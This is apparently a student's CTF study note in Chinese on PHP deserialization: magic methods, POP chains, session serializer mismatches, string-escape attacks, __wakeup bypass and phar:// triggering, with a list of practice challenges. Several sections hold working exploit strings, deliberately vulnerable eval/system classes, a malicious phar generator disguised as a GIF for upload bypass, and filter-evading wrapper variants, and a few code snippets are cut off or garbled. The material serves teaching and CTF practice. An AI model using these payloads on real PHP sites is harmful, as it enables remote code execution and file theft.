1. 任务
1.1.1.1.1.1. 知识部分:
- php反序列化相关知识,进行收尾
-
- phar伪协议触发
- 字符逃逸
- php的session
- 魔术方法以及pop链
1.1.1.1.1.2. 题目部分:
- MOECTF2025第十八章(你得先学会使用西电CTF终端开靶场)
- ?ctf Week2 Only Picture Up
- MOECTF2025第13,14,15,17,19,19(revenge)章
- 我只想要你的PNG!
- NSSRound#4 SWPU1zweb(revenge)
- SWPUCTF 2023 秋季新生赛UnS3rialize
- SWPUCTF 2021 新生赛ez_unserialize
- SWPUCTF 2021 新生赛no_wakeup
- SWPUCTF 2022 新生赛1z_unserialize
- SQCTF 逃 (学完字符串逃逸再完成)
- 【upload-labs】【要求复现upload-labs1-16、19,拿到flag upload-labs17-18、20只要了解一下分析和解决问题的方法即可】
1.1.1.1.1.3. 参考大佬
- https://xz.aliyun.com/news/6244#toc-2
- 3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
- php反序列化_php反序列化立体-CSDN博客
- 关于PHP phar反序列化漏洞的学习_构造恶意phar文件-CSDN博客
- 【Web】Phar反序列化实战:从例题解析到漏洞利用技巧-CSDN博客
2. 知识点学习(php反序列化)
2.1. 魔术方法(上周介绍更详细,这周添加示例和解题出现使用方法)
2.1.1. 构造与析构方法(__construct()、__destruct())
2.1.1.1. __construct() 构造函数
-
触发时机:实例化对象**(执行** **new****关键字)**时,自动执行。
-
功能:初始化对象,常用于给属性赋值、初始化资源。
-
注意:序列化、反序列化过程中不会触发。
username = $username; echo "触发了构造函数1次"; } } $test = new User("musy"); // 实例化,触发构造函数(输出对应内容) $ser = serialize($test); // 序列化,不触发 unserialize($ser); // 反序列化,不触发 ?>
2.1.1.2. __destruct() 析构函数
-
触发时机:对象的所有引用被删除、对象被显示销毁,或脚本执行结束时。
-
功能:释放对象占用的资源(如关闭数据库连接)。
-
漏洞利用:最常用的触发点,反序列化生成的对象会在脚本结束时被销毁,触发该方法。
// 输出结果:触发了析构函数1次
//(实例化的对象在脚本结束时销毁,反序列化的对象也销毁,共2次?需结合环境,示例仅作参考)
2.1.1.2.1. 析构函数漏洞利用例题
<?php
class User{
var $cmd = "system('ls');";
public function __destruct(){
eval($this->cmd); // 析构时执行eval,执行$cmd中的命令
}
}
$ser = $_GET['benben']; // 可控入参
unserialize($ser); // 反序列化,销毁时触发__destruct
?>
// 利用思路:构造序列化字符串,修改$cmd为读取flag的命令
// EXP:?benben=O:4:"User":1:{s:3:"cmd";s:13:"system('cat/flag');";}
2.1.2. 序列化与反序列化触发方法(__sleep()、__wakeup())
2.1.2.1. __sleep() 方法
-
触发时机:执行
serialize()函数之前,自动触发。 -
功能:清理对象,返回需要序列化的成员属性数组(仅数组中的属性会被序列化)。
-
注意:若未返回内容,会序列化null,产生E_NOTICE错误。
-
漏洞利用:触发时可执行恶意代码(如命令执行)。
username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep(){ return array('username','nickname'); // 仅序列化这两个属性 } } $user = new User('a','b','c'); echo serialize($user); // 输出仅包含username和nickname的序列化字符串 ?>
2.1.2.1.1. __sleep() 漏洞利用例题
<?php
class User{
const SITE='musy';
public $username;
public $nickname;
private $password;
public function __construct($username,$nickname,$password){
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep(){
system($this->username); // 序列化前执行system命令
}
}
$cmd = $_GET['benben'];
$user = new User($cmd,'b','c');
echo serialize($user); // 序列化触发__sleep,执行$cmd中的命令
?>
// EXP:?benben=cat/flag
2.1.2.2. __wakeup() 方法
触发时机:执行unserialize()函数之前,自动触发。
功能:初始化对象资源(如重新建立数据库连接),返回void。
漏洞利用:常用触发点,反序列化前执行恶意代码。
关键区别:__wakeup()在反序列化前触发,__destruct()在反序列化后(对象销毁)触发。
2.1.2.2.1. __wakeup() 漏洞利用例题
<?php
class User{
const SITE='musy';
public $username;
public function __wakeup(){
system($this->username); // 反序列化前执行system命令
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser); // 反序列化触发__wakeup
?>
// EXP:?benben=O:4:"User":1:{s:8:"username";s:8:"cat/flag";}
2.1.3. 对象类型错误调用方法(__toString()、__invoke())
2.1.3.1. __toString() 方法
-
触发时机:将对象当作字符串调用时(如echo 对象、𝑝𝑟𝑖𝑛𝑡对象)。
-
功能:自定义对象的字符串输出形式,需返回字符串。
-
漏洞利用:强制对象作为字符串调用,触发该方法执行恶意代码。
2.1.3.2. __invoke() 方法
-
触发时机:将对象当作函数调用时(如$对象())。
-
功能:自定义对象作为函数调用时的行为。
-
漏洞利用:强制对象作为函数调用,触发该方法执行恶意代码。
name; // 正常访问属性,不触发 $test(); // 把对象当作函数,触发__invoke(输出对应内容) ?>
2.1.4. 错误调用相关魔术方法
2.1.4.1. __call() 方法
-
触发时机:调用对象不存在的普通方法时。
-
参数:两个参数,第一个是调用的方法名,第二个是方法的参数数组。
-
功能:处理未定义方法的调用,返回自定义结果。
callss('a'); // 调用不存在的方法callss,触发__call ?>// 输出结果:callss,a
2.1.4.2. __callStatic() 方法
-
触发时机:静态调用对象不存在的方法时(如$类名::方法名())。
-
参数:与__call()一致,方法名和参数数组。
-
功能:处理未定义静态方法的调用。
// 输出结果:callxxx,a
2.1.4.3. __get() 方法
-
触发时机:访问对象不存在/不可访问的属性时。
-
参数:一个参数,即访问的属性名。
-
功能:处理未定义属性的访问,返回自定义结果。
var2; // 访问不存在的var2,触发__get ?>// 输出结果:var2
2.1.4.4. __set() 方法
- 触发时机:给对象不存在/不可访问的属性赋值时。
- 参数:两个参数,属性名和赋值的值。
- 功能:处理未定义属性的赋值。
2.1.4.5. __isset() 方法
-
触发时机:对不可访问的属性使用
isset()或empty()判断时。 -
参数:访问的属性名。
-
功能:处理不可访问属性的存在性判断。
var); // 对private属性var使用isset,触发__isset ?>// 输出结果:var
2.1.4.6. __unset() 方法
- 触发时机:对不可访问的属性使用unset()删除时。
- 参数:需要删除的属性名。
- 功能:处理不可访问属性的删除操作。
2.1.4.7. __clone() 方法
-
触发时机:用clone关键字复制对象完成后,新对象自动触发。
-
功能:自定义对象的克隆逻辑。
// 输出结果:_clone test
2.2. pop链构造
- https://xz.aliyun.com/news/6244#toc-2
- 3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
- php反序列化_php反序列化立体-CSDN博客
看到一位前辈把完整的过程写下了来,在此展示一下:
2.2.1.1. 例题代码
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier{
private $var;
public function append($value){
include($value); // 目标:触发include(flag.php),输出flag
echo $flag;
}
public function __invoke(){
$this->append($this->var); // __invoke触发时,调用append方法
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source; // __toString触发时,访问str的source属性
}
public function __wakeup(){
echo $this->source; // __wakeup触发时,输出source(当作字符串,触发__toString)
}
}
class Test{
public $p;
public function __construct(){
$this->p=array();
}
public function __get($key){
$function=$this->p;
return $function(); // __get触发时,将p当作函数调用(触发__invoke)
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']); // 入口:反序列化,触发__wakeup
}
?>
2.2.1.2. 构造步骤
- 确定目标:触发
Modifier::append()方法,传入$value=flag.php,执行include(flag.php)。 - 梳理触发链:从反序列化入口开始,串联魔术方法:
unserialize() → Show::__wakeup() → Show::__toString() → Test::__get() → Modifier::__invoke() → Modifier::append()
- 拆解触发条件:
- 反序列化触发 Show 的
__wakeup():反序列化的对象是 Show 实例。 - __wakeup() 触发 __toString():Show 的 $source 是 Show 自身(echo 时当作字符串)。
- __toString() 触发 Test 的 __get():Show 的 $str 是 Test 实例,Test 无 source 属性,访问时触发 __get()。
- __get() 触发 Modifier 的 __invoke():Test 的 $p 是 Modifier 实例,当作函数调用时触发 __invoke()。
- __invoke() 触发 append():Modifier 的 𝑣𝑎𝑟赋值为𝑓𝑙𝑎𝑔.𝑝ℎ𝑝,调用𝑎𝑝𝑝𝑒𝑛𝑑(var)。
- 编写POC代码:实例化类,赋值属性,生成序列化字符串。
2.2.1.3. poc代码
<?php
class Modifier{
private $var = 'flag.php'; // 给var赋值为flag.php
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
// 构造触发链
$mod = new Modifier(); // Modifier实例,用于触发__invoke
$test = new Test();
$test->p = $mod; // Test的p赋值为Modifier实例,当作函数调用触发__invoke
$show = new Show();
$show->str = $test; // Show的str赋值为Test实例,访问source触发__get
$show->source = $show; // Show的source赋值为自身,echo时触发__toString
echo serialize($show); // 生成序列化字符串
?>
2.2.1.4. 最终EXP(处理private属性)
序列化字符串中,Modifier的private属性$var需拼接%00,最终EXP:
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
2.3. php的Session
- https://xz.aliyun.com/news/6244#toc-2
- 3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
- php反序列化_php反序列化立体-CSDN博客
2.3.1. 什么是session【类似于个人的标签,存储用户】
HTTP协议本身是无状态 的------服务器默认无法识别多个请求是否来自同一个用户。Session就是为解决这个问题诞生的:它是服务器为每个客户端创建的唯一服务器端 存储对象,用来在用户的多次请求之间保存状态数据(比如登录状态、购物车内容)。
Session一般称为"会话控制",简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种"对话"机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。
【PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话 的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。】
2.3.2. 工作流程
开始一个会话->PHP 从请求中查找会话 ID->发现请求的Cookies、Get、Post中不存在 session id->用php_session_create_id函数创建一个新的会话->在http response中通过set-cookie头部发送给客户端保存
【若客户端的cookie被禁止了,则搞到url里头和form的hidden字段中,需要将php.ini中的session.use_trans_sid设为开启】

2.3.3. PHP session 在 php.ini 中的配置
PHP session在php.ini中主要存在以下配置项:
session.gc_divisor
php session垃圾回收机制相关配置
session.sid_bits_per_character
指定编码的会话ID字符中的位数
session.save_path=""
该配置主要设置session的存储路径
session.save_handler=""
该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.use_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies
指定是否在客户端用 cookie 来存放会话 ID,默认启用
session.cookie_secure
指定是否仅通过安全连接发送 cookie,默认关闭
session.use_only_cookies
指定是否在客户端仅仅 使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击
session.name
指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID
session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.cookie_lifetime
指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示"直到关闭浏览器"。默认为 0
session.cookie_path
指定要设置会话cookie 的路径,默认为 /
session.cookie_domain
指定要设置会话cookie 的域名 ,默认为无,表示根据 cookie 规范产生cookie的主机名
session.cookie_httponly
将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述
session.gc_probability
该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率
session.gc_divisor
该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率
session.gc_maxlifetime
指定过了多少秒之后数据就会被视为"垃圾"并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)
session.referer_check
包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串
session.cache_limiter
指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache
session.cache_expire
以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180
session.use_trans_sid
指定是否启用透明 SID 支持。默认禁用
session.sid_length
配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
session.trans_sid_tags
指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts
指定启用透明sid支持时重写的主机,以包括会话ID
session.sid_bits_per_character
配置编码的会话ID字符中的位数
session.upload_progress.enabled
启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。
session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
session.upload_progress.prefix
配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_
session.upload_progress.name
$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq
定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq
更新之间的最小延迟
session.lazy_write
配置会话数据在更改时是否被重写,默认启用
以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等,这些不是本文的主题,故不在赘述,在这里主要来具体谈一谈session.serialize_handler配置项
2.3.4. PHP session 的存储机制
PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

|---------------|---------------------------------------------------|
| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
| php_serialize | 经过serialize()函数序列化处理的数组 |
2.3.4.1. php 处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>

序列化的结果为:username|s:7:"bmjoker";
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。

2.3.4.2. php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";
#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值【键值长度为 35,35 对应的 ASCII 码为#】
2.3.4.3. php_serialize 处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";}
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:GET参数经过serialize序列化后的值。
2.3.5. session反序列化漏洞
2.3.5.1. 成因是什么?
Session反序列化漏洞是PHP中经典的反序列化漏洞,核心成因是不同序列化处理器的存储格式差异,利用这个差异可以注入恶意序列化数据,触发远程代码执行。
【不同的处理器,存储的格式也有所不同,】
比如:对于php_serialize引擎来说' | '可能只是一个正常的字符 ;但对于php引擎来说' | '就是分隔符 ,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。
当同一个站点中,不同页面使用了不同的session序列化处理器,且Session值可控时,攻击者可以构造特殊的Session数据,让PHP读取Session时错误的反序列化攻击者可控的恶意对象,最终触发RCE。
若写入 session 时用 A 格式,读取解析时用 B 格式,就会触发反序列化漏洞
2.3.5.2. 如何利用漏洞,步骤是什么?
- 环境准备(存在配置差异)
-
-
session.php:使用php_serialize序列化,且用户可控Session内容ini_set('session.serialize_handler', 'php_serialize');
session_start();
_SESSION["username"] = _GET["input"]; // 用户可控输入
-
-
-
index.php:使用默认php序列化,且存在可利用的危险类ini_set('session.serialize_handler', 'php');
session_start();
class Evil {
public cmd; function __destruct() { eval(this->cmd); // 危险方法,可执行代码
}
}
-
-
构造恶意Payload
攻击者在 input****参数中传入带 **|**前缀的恶意序列化对象:?input=|O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";}
-
Session存储结果
session.php会用php_serialize序列化整个数组,最终Session文件内容为:a:1:{s:8:"username";s:38:"|O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";}";}
-
触发漏洞
用户访问index.php,PHP会用默认php处理器反序列化Session:
-
php处理器会以|作为分隔符,将分隔符后内容识别为需要反序列化的值- 直接反序列化分隔符后的
O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";} - 反序列化完成后对象销毁时触发
__destruct(),成功执行phpinfo(),RCE完成。
2.4. PHP反序列化逃逸漏洞
2.4.1. 反序列化基本规则
PHP反序列化严格遵守格式规则,规则的破坏是逃逸漏洞的核心成因。
2.4.1.1. 结构完整性要求
对象结构:O:类名长度:"类名":属性数量:{属性定义;}
属性结构:每个属性为"类型:长度:"值";"的格式。
数量一致性:声明的属性数量必须与实际提供的属性数量完全一致,否则反序列化失败。
<?php
class A{
public $v1 = "a";
}
// 正确:属性数量匹配
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";}';
var_dump(unserialize($b)); // 成功
// 错误:属性数量不匹配(声明1个,实际2个)
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b)); // bool(false)
?>
[属性名的类型长度内容];[属性值的类型长度内容];- 如果属性值是null,就会写成
N;
2.4.1.2. 长度字段一致性
字符串值的实际长度必须与序列化时声明的长度完全一致,否则反序列化失败(PHP依赖长度判断字符串边界,而非分隔符)。
<?php
// 错误:声明长度1,实际长度4("musy")
$b = 'O:1:"A":2:{s:2:"v1";s:1:"musy";s:2:"v2";N;}';
var_dump(unserialize($b)); // bool(false)
// 正确:声明长度与实际长度一致
$b = 'O:1:"A":2:{s:2:"v1";s:4:"musy";s:2:"v2";N;}';
var_dump(unserialize($b)); // 成功
?>
2.4.1.3. 反序列化终止符
PHP反序列化以;}作为终止符,只要前面的内容格式正确,后续内容不会影响反序列化结果。
【注意:】
反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行。

2.4.1.4. 特殊字符处理
属性值包含引号等特殊字符时,序列化会自动转义,但字符串长度计算的是实际字符数,而非转义后的字符数。
<?php
class Test{
// 属性值包含双引号
public $name = 'He said "Hello"';
}
// 正常序列化
$serialized = serialize(new Test());
echo $serialized;
// 输出结果:O:4:"Test":1:{s:4:"name";s:15:"He said "Hello"";}
?>
比如说:
这个空格 是计算进的,双引号等等
转义后的特殊字符 :比如\n(换行)在序列化时会被存储为\n,但原始字符串的换行本身会被算入长度,和转义反斜无关。
2.4.2. 反序列化属性处理机制
反序列化对象时,属性值的来源遵循以下规则:
-
序列化字符串中定义的属性:值由字符串提供。
-
序列化字符串中未定义,但类中存在的属性:值使用类的默认值。
-
序列化字符串中定义,但类中不存在的属性:动态添加到对象中。
string(1) "a" // 来自序列化字符串 ["v2"]=> string(1) "b" // 来自类默认值 ["v3"]=> string(1) "c" // 动态添加 } */ ?>
2.4.3. 逃逸漏洞产生场景与原理
2.4.3.1. 漏洞产生条件
- 数据处理链条:数据先
序列化(serialize)→ 字符串处理(替换/过滤)→反序列化
(unserialize)。
- 长度变化:字符串处理导致序列化字符串的实际长度发生变化(变长/变短)。
- 长度声明不变:序列化时的长度声明未同步更新,与处理后的实际长度不一致。
2.4.3.2. 核心原理
PHP反序列化依赖长度声明确定字符串边界,而非分隔符。当实际长度与声明长度不一致时,会导致解析边界错误,攻击者可利用该错误注入恶意属性,实现逃逸。
2.4.3.3. 两种逃逸类型
|--------|----------------|--------------|-----------------|
| 类型 | 触发条件 | 长度变化 | 攻击方式 |
| 字符减少逃逸 | 敏感字符被替换为空/更短字符 | 实际长度 < 声明长度 | 吞噬后续合法属性,注入恶意属性 |
| 字符增多逃逸 | 短字符被替换为更长字符 | 实际长度 > 声明长度 | 吐出多余字符,构造恶意属性 |
2.4.3.4. 来一道解析解析
【SQCTF 逃 这题也是相关知识】
【这里选择安洵杯2019这道题目:easy_serialize_php】
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

得到的序列化字段为:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这里如果增加了过滤机制 ,会将flag字段替换为空,那么上面序列化字符串过滤结果为:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这个时候长度的声明没有变化,则是长度不匹配导致的反序列化逃逸
如果将上面过滤之后的字符串进行反序列化,会不会报错呢?
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$ser = serialize($_SESSION);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/flag/i",'',$ser);
var_dump(unserialize($filter));
?>
preg_replace("/flag/i",'',$ser);
- /flag/匹配内容
- i不区分大小写
- ''空字符

s:24:"";s:8:"function";s:59:"a";24位,也就是这个时候会把原本属于function属性的字符串继续往下读,而非对他进行属性的解读。当凑齐24个字符后以";结尾。【后面全乱套了】
并且"dd";s:1:"a";}"出现最后的终止符了,导致后面的内容都直接被忽略掉
可以看到本例中$_SESSION["img"]对应的值发生了变化。这样的话岂不是可以做到"隔山打牛",如果我们能够控制原来$_SESSION数组的funcion的值,但无法控制img的值,我们就可以通过这种方式间接控制到 img 对应的值。
2.5. __wakeup () 绕过
__wakeup()是 PHP 反序列化的核心魔术方法,会在unserialize()执行时优先触发 ,常用于重置对象属性,绕过的核心是破坏序列化字符串的结构使其失效。
- 绕过原理 :当序列化字符串中类属性的声明数量 > 实际属性数量 时,PHP 会跳过
__wakeup()执行; - 实战示例:原序列化字符串(Game 类 3 个属性):
O:4:"Game":3:{s:3:"cmd";s:18:"system("cat /flag");";...}
绕过修改(把属性数 3 改为 4):
O:4:"Game":4:{s:3:"cmd";s:18:"system("cat /flag");";...}
2.6. 引用(类似指针)
PHP 反序列化中的引用是内存地址指向 ,会改变序列化字符串结构,常被用于绕过长度校验或构造特殊利用链:
-
核心概念 :引用用
&表示,序列化时会标记为R:+ 引用编号,多个变量指向同一内存地址; -
例子
a = "hello"; $obj->b = &$obj->a; // b引用a的内存地址 echo serialize($obj); // 输出:O:4:"Test":2:{s:1:"a";s:5:"hello";s:1:"b";R:2;} -
应用场景:
-
- 绕过属性长度限制(修改引用源即可同步修改多个属性);
- 构造循环引用触发内存溢出(CTF 小众考点)。
2.7. phar伪协议触发php反序列化
2.7.1. 介绍
Phar反序列化不需要代码中存在明显的unserialize()函数,只要存在文件操作函数即可触发,
当PHP处理Phar归档文件时,如果调用了某些文件操作函数(如file_exists()、file_get_contents()),就会自动反序列化文件中存储的元数据 (metadata)。如果这个元数据被精心构造,就可能触发危险的魔术方法执行。
2.7.1.1. 什么是phar文件
Phar(PHP Archive)就像是PHP的"ZIP压缩包",可以把多个PHP文件打包成一个文件**【归档】**,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。
•普通PHP文件 = 单个文件(如:index.php)
•Phar文件 = 一个文件夹 (包含:index.php, config.php, lib.php等)
phar归档文件由四部分组成:
1. a stub
识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分 。对应函数Phar::setMetadata---设置phar归档元数据。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。
对应函数Phar :: stopBuffering---停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。
这里有两个关键点:
- 文件标识,
必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
- 反序列化,
phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
2.7.2. 步骤
2.7.2.1. 创建漏洞文件
<?php
// 这是一个存在Phar反序列化漏洞的文件
header('Content-Type: text/html; charset=utf-8'); // 添加这行
error_reporting(0);
highlight_file(__FILE__);
class Evil {
private $command;
public function __construct($cmd) {
$this->command = $cmd;
}
public function __destruct() {
// 当对象销毁时执行系统命令
system($this->command);
}
}
// 用户输入的文件路径
if(isset($_GET['file'])) {
$filename = $_GET['file'];
echo "正在检查文件: " . htmlspecialchars($filename) . "<br>";
// 这些函数都会触发Phar反序列化!
if(file_exists($filename)) {
echo "文件存在!<br>";
echo "文件大小: " . filesize($filename) . " bytes<br>";
}
}
?>
2.7.2.2. 创建Phar生成器 create_phar.php
本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off
<?php
header('Content-Type: text/html; charset=utf-8'); // 添加这行
// 创建恶意Phar文件的生成器
// 定义恶意类(要与漏洞文件中的类名一致)
class Evil {
private $command;
public function __construct($cmd) {
$this->command = $cmd;
}
}
// 删除旧文件
@unlink('malicious.phar');
try {
// 1. 创建Phar对象
$phar = new Phar('malicious.phar');
// 2. 开始缓冲
$phar->startBuffering();
// 3. 设置恶意元数据(关键步骤!)
$evil_object = new Evil('cat /flag.txt'); // 要执行的命令
$phar->setMetadata($evil_object); // 这里会序列化并存储对象
// 4. 添加一些内容(Phar文件必须有内容)
$phar->addFromString('test.txt', 'This is a test file');
// 5. 设置stub(文件头)
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 6. 停止缓冲
$phar->stopBuffering();
echo "✅ 恶意Phar文件创建成功!<br>";
echo "📁 文件: malicious.phar<br>";
echo "📊 大小: " . filesize('malicious.phar') . " bytes<br>";
} catch (Exception $e) {
echo "❌ 错误: " . $e->getMessage() . "<br>";
}
?>
2.7.2.3. 执行攻击
1.生成phar文件
php create_phar.php
2.发起攻击
http://127.0.0.1/phar_vuln.php?file=phar://malicious.phar/test.txt
3.攻击成功

2.7.3. 漏洞触发条件与常见场景
2.7.3.1. 满足条件
在实战中遇到Phar反序列化漏洞,通常需要满足三个关键条件:
- phar文件要能够上传到服务器端(如GET、POST),并且要有
file_exists(),fopen(),file_get_contents(),include()等文件操作的函数 - 要有可用的魔术方法作为"跳板";
- 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
【虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。】
即:
- 文件上传点:能上传伪装成图片/文档的Phar文件
- 触发函数:存在能解析Phar协议的文件操作函数
- POP链:存在可串联的魔术方法调用链
2.7.3.2. 受影响的文件操作函数列表
这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
|-------------------|---------------|--------------|-------------------|------------------|------------------------|
| fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags |
| file_put_contents | file | filegroup | fopen | hash_file | get_headers |
| fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize |
| is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring |
| is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont |
| copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype |
2.7.3.3. 将phar伪造成其他文件
php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。
通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
demo:
//设置stub,增加gif文件头 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
典型场景:
网站允许上传"头像图片",后端用getimagesize()检测文件类型。我通过添加GIF89a头绕过检测,再用phar://协议触发反序列化。具体绕过手法包括:
- 后缀名伪造:
将.phar改为.png/.gif - 文件头伪造:添加图片文件头
(GIF89a/PNG头) - MIME类型欺骗:修改
Content-Type为image/png
2.7.3.4. 在禁止phar开头的情况下的替代方法:
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报warning,但是还是会执行。
2.7.4. 题目
【Web】Phar反序列化实战:从例题解析到漏洞利用技巧-CSDN博客
里面有三道题,从入门到进阶,个人能力有限,对于进阶和高阶暂先没有搞,如果有兴趣的可以去试试
我这里提到两题(在下面题目里头)
